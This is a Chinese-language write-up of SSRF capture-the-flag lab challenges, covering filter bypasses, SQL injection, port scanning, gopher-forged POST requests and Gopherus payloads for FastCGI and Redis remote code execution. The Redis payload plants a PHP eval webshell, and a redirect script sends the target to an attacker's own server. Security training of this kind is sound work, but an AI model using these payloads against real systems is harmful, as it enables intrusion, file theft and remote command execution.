SSRF注入

file 伪协议读取任意文件

打开网页有登录有注册

访问 robots.txt 发现有个不可访问文件

下载下来拿到源码

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

重点是这段代码,先初始化 cURL 会话并返回一个 cURL 句柄

设置 cURL 选项,指定要请求的 URL,1 表示开启执行 curl_exec() 时

返回响应内容而不是直接输出,这里就存在 SSRF 漏洞

function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

回头去注册一个账号

看到名字是蓝色的,点击

来的一个新页面,注意 URL 参数有一个 no

改为 2 居然报错了

加一个 ' 报数据库的错误,那这里就存在 SQL 注入,加了单引号和双引号都相同的错误

不加引号直接 or 1=1 # 回显正常

order by 5 报错,再次测试 4 没有报错,说明只有 4 列

直接 -1 union select 1,2,3,4 # 被过滤空格应该是

使用 /**/ 代替空格绕过

接下来爆库、表、字段

最后发现 data 是个序列化的值

结合之前的备份代码,我们可以设置 blog 为 file 伪协议来读取 flag 文件,然后反序列化传入到第四个字段

构造 payload 执行

右键查看源代码可以看到文件

打开再查看源代码拿到 flag

@指定域名绕过

给出提示,URL 参数的值中必须包含有 http://notfound.ctfhub.com

可以采用 @,也就是 HTTP 基本身份认证绕过

HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式

也就是:http://www.xxx.com@www.yyy.com 形式

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

IP 转十六进制绕过

尝试将 127.0.0.1 转换为 十六进制 形式,也就是 0x7f000001

构造题目有所需 Payload:?url=0x7f000001/flag.php

localhost 代替 IP 绕过

使用 localhost 代替 127.0.0.1 绕过

DNS 重绑定绕过

🔍 什么是 DNS 重绑定(DNS Rebinding)?

DNS 重绑定是一种攻击手法,通过操控域名解析结果,使浏览器访问原本受同源策略保护的内网地址或本地服务

攻击者注册一个域名 → 利用 DNS 控制域名解析结果 → 浏览器认为是同源 → 访问受保护资源

🧠 攻击流程简图

受害者浏览器访问 attacker.com
        ↓
第一次 DNS 返回 attacker.com → 1.2.3.4(攻击者服务器)
        ↓
浏览器加载恶意脚本
        ↓
第二次 DNS 返回 attacker.com → 127.0.0.1 / 内网 IP
        ↓
脚本利用同源策略访问本地/内网服务

打开网站

复制下面那块代码拿到 flag

域名代替 IP 绕过

打开网页不让 F12 以及右键

Ctrl + U 发现有个 PHP 文件

访问页面后再次查看源码给出了提示

安装工具

pip install arjun

执行命令

arjun -u http://challenge.qsnctf.com:31303/c3s4f.php

可以发现有个 shell 参数

传入参数给出了新提示

扫描目录发现有个 secret.php

只允许本地访问

结合提示以为是要伪造 XFF 或者 Client-IP,试过了都不行

利用 shell 参数构造 SSRF

?shell=http://127.0.0.1/secret.php

无果

使用域名跳转绕过

?shell=http://localtest.me/secret.php

访问拿到源码

<?php
show_source(__FILE__);
include('k4y.php');
include_once('flag.php');


// Challenge 1
if (isset($_GET['DrKn'])) {
    $text = $_GET['DrKn'];
    if(@file_get_contents($text) == $key) {
        echo "有点东西呢"."</br>".$key1."</br>";
    } else {
        die("貌似状态不在线啊(╯_╰)</br>");
    }
} 


// Challenge 2
if (isset($_GET[$key1])) {
    $damei = $_GET[$key1];
    if (hash("md4", $damei) == $damei) {
        echo "又近了一步呢,宝~"."</br>".$key2."</br>".$key3;
    } else {
        die("达咩哟~");
    }
} 


// Challenge 3
if (isset($_POST[$key2]) && isset($_POST[$key3])) {
    $user = $_POST[$key2];
    $pass = $_POST[$key3];

    if (strlen($user) > 4 || strlen($pass) > 5) {
          die("还得练");
      }
     if ($user !== $pass && md5($user) === md5($pass)) {  
          echo "还不错哦"."$flag";
      }
      else {
          die("nonono") ;
      }
    }

?>

第一关就是传入给出的 Key,但是需要用到 data 伪协议

第二关是一个 md4 的弱比较绕过,其实可以通过科学计算法比较绕过

也就是说要找一个明文是一个科学计算法 0e 开头的,然后其加密也是 0e 开头后面都是数字

&M_ore.8=0e001233333333333334557778889

最后一关就是 md5 强比较绕过,都为数组即可

302 跳转绕过

访问环境时显示 url 不存在

构造 url 测试

img

发现可以访问百度,根据题目提示说

我们就访问容器内部的 8000 端口,但是有过滤 127.0.0.1 及 localhost

利用服务器构造 302 跳转绕过

在自己的服务器构建 302.php

url=http://{your_server}/302.php
<?php
header("location: http://127.0.0.1:8000/api/internal/secret")
?>

127.0.0.x 代替 IP 绕过

访问环境时显示 url 不存在

构造 url 测试

img

发现可以访问百度,根据题目提示说

我们就访问容器内部的 8000 端口,但是有过滤 127.0.0.1 及 localhost

采用 127.0.0.x 的形式绕过,x 为 2~255

0.0.0.0 代替 IP 绕过

访问环境时显示 url 不存在

构造 url 测试

img

发现可以访问百度,根据题目提示说

我们就访问容器内部的 8000 端口,但是有过滤 127.0.0.1 及 localhost

采用 0.0.0.0 的形式绕过

端口扫描

url 参数存在 SSRF 漏洞

使用 BurpSuite 抓包遍历端口做扫描

8255 长度不一样,推测端口开着的,看响应拿到 flag

gopher 协议伪造 HTTP 请求

老样子直接访问 127.0.0.1/flag.php,回显一个输入框

查看源码拿到一个 Key 值

输入后回车,提示仅限 127.0.0.1 查看

我们尝试用 file:// 读取文件,得到如下代码:

?url=file:///var/www/html/index.php
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

// 初始化 cURL,这是 PHP 提供的一个发起 HTTP 请求的库,底层可以发起 HTTP、HTTPS、FTP、gopher 等协议的请求
$ch = curl_init();

// 将用户传入的 url 参数直接传给 cURL 请求目标
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);

// CURLOPT_HEADER: 0 不返回响应头
curl_setopt($ch, CURLOPT_HEADER, 0);

// CURLOPT_FOLLOWLOCATION, 1: 如果目标返回 3xx 跳转,cURL 会自动跟随跳转
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

// 执行请求
curl_exec($ch);

// 关闭连接,释放资源
curl_close($ch);

再读取 flag.php 的

?url=file:///var/www/html/flag.php
<?php

// 关闭所有错误报告,防止泄露敏感信息
error_reporting(0);

// 判断请求来源 IP 是否为本地地址 127.0.0.1
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    // 如果不是本地访问,直接提示并终止脚本
    echo "Just View From 127.0.0.1";
    return;
}

// 从环境变量中获取 flag(一般在靶场环境中设置)
$flag = getenv("CTFHUB");

// 对 flag 做 MD5 哈希,得到 key
$key = md5($flag);

// 判断用户是否通过 POST 提交了 "key",并且值与服务器计算的 $key 相同
if (isset($_POST["key"]) && $_POST["key"] == $key) {
    // 如果提交正确,返回 flag
    echo $flag;  // 当 post 传值为 key 时出 flag
    exit;
}
?>

<!-- 简单的 HTML 表单,允许用户提交 key -->
<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug 信息:将服务器端计算的 key 显示在页面上(方便开发者调试,正常应删除) -->
<!-- Debug: key=<?php echo $key;?>-->
</form>

我们知道只要往 flag.php 传 key 值就可以得到 flag

而 index.php 可以利用 curl 传 url

那么我们可以用 gopher 协议在 index.php 中构造 POST 请求包往 flag.php 传 Key 值,以此获取 flag

所以我们通过 gopher 协议构造一个请求,配合 SSRF 模拟成内网用户去访问提交数据

构造这样的一个请求

直接 curl 后接 gopher 协议就先 URL 编码一次

关键的换行符是 CRLF(\r\n),而不是 LF(\n)单独使用

因为 gopher:// 协议是 模拟原始 TCP 字节流,而 HTTP 的协议报文换行是 \r\n,不能只用 \n

先把换行 \r\n 写成 百分号编码(url encode):

  • \r => %0D
  • \n => %0A

于是变成:

POST%20/flag.php%20HTTP/1.1%0D%0A
Host:%20127.0.0.1:80%0D%0A
Content-Type:%20application/x-www-form-urlencoded%0D%0A
Content-Length:%2036%0D%0A
%0D%0A
key=a840f3c56810783306b3a75f861bd31a

我这里思路是先跳到内网的 index.php 中再传入 POST 请求

所以要 URL 编码两次(在向服务器发送请求时,首先浏览器会进行一次 URL解码,因为有两个 ?url,所以会解码两次,其次服务器收到请求后,在执行 curl 功能时,进行第三次 URL解码)

最终使用 gopher 协议 + 端口伪造请求:

?url=gopher://127.0.0.1:80/_
# _ 表示之后开始是 原始 TCP payload

最终 payload:

?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D0bd5e192bb3c5e0f3df6b8ddf4252d9c

FastCGI 协议 RCE

1️⃣ FastCGI 简介

FastCGI 是一种用于加速 Web 与后端程序(如 PHP-FPM)通信的协议,常见端口 9000

如果服务器错误暴露了 FastCGI 服务,攻击者可以伪造协议请求,让 PHP 直接解释任意文件或执行恶意代码

2️⃣ SSRF 打 FastCGI 的核心原理

利用 SSRF 请求内网 127.0.0.1:9000 或其他 PHP-FPM 地址,通过 gopher:// 伪造 FastCGI 二进制协议数据包,让服务器解析指定文件或恶意 payload

效果:

  • 解析任意本地 .php 文件(任意文件包含效果)
  • 配合可控日志或 Session 写入恶意 PHP 代码实现 RCE

3️⃣ 典型利用流程

步骤 动作
1️⃣ SSRF(gopher)打本地 9000 端口
2️⃣ 伪造 FastCGI 请求,指定 SCRIPT_FILENAME 指向日志、session、/proc/self/environ 等可以伪造内容的地方
3️⃣ 让 PHP-FPM 执行恶意代码
4️⃣ 成功远程命令执行

本文要利用一个脚本 gopherus.py,这个脚本可以对 SSRF 漏洞进行利用,可以直接生成 payload 造成远程代码执行 RCE

┌──(kali㉿kali)-[~/Gopherus]
└─$ python2 gopherus.py -h                                                             
usage: gopherus.py [-h] [--exploit EXPLOIT]

optional arguments:
  -h, --help         show this help message and exit
  --exploit EXPLOIT  mysql, postgresql, fastcgi, redis, smtp, zabbix,
                     pymemcache, rbmemcache, phpmemcache, dmpmemcache

我们选择 fastcgi 的

python2 gopherus.py --exploit fastcgi

然后输入 /var/www/index.php,运行一下 ls

得到 payload

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

再做一次 URL 编码(因为走的是 ?url)

gopher%3A%2F%2F127.0.0.1%3A9000%2F_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2501%2504%2504%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH54%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2517SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Findex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%25006%2504%2500%253C%253Fphp%2520system%2528%2527ls%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

可以看到有个 index.php

重新跑一下脚本拿 flag

成功拿到 flag

Redis 协议 RCE

1️⃣ SSRF 与 Redis 结合的核心思路

利用 SSRF(Server-Side Request Forgery,服务端请求伪造),让服务器主动去请求攻击者指定的 Redis 服务(或内网未授权的 Redis 服务),并向 Redis 写入恶意 payload,从而进一步实现 远程命令执行(RCE)

2️⃣ SSRF Redis RCE 常见利用链

阶段 动作
第一步 SSRF 控制目标服务请求 Redis(通常使用 gopher:// 协议,可以伪造 TCP payload)
第二步 向 Redis 发送写入命令,修改其配置,如 dir 和 dbfilename
第三步 向 Redis 写入 恶意 SSH 公钥 或 计划任务脚本 到 Web 根目录或 .ssh/authorized_keys
第四步 触发 Redis 保存(SAVE),将 payload 写入磁盘,造成任意代码执行或提权

本题依然可以使用 gopherus 实施攻击

再 URL 编码一次

gopher%3A//127.0.0.1%3A6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252432%250D%250A%250A%250A%253C%253Fphp%2520%2540eval%2528%2524_POST%255B%2527c%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

评论

鄂ICP备2026057567号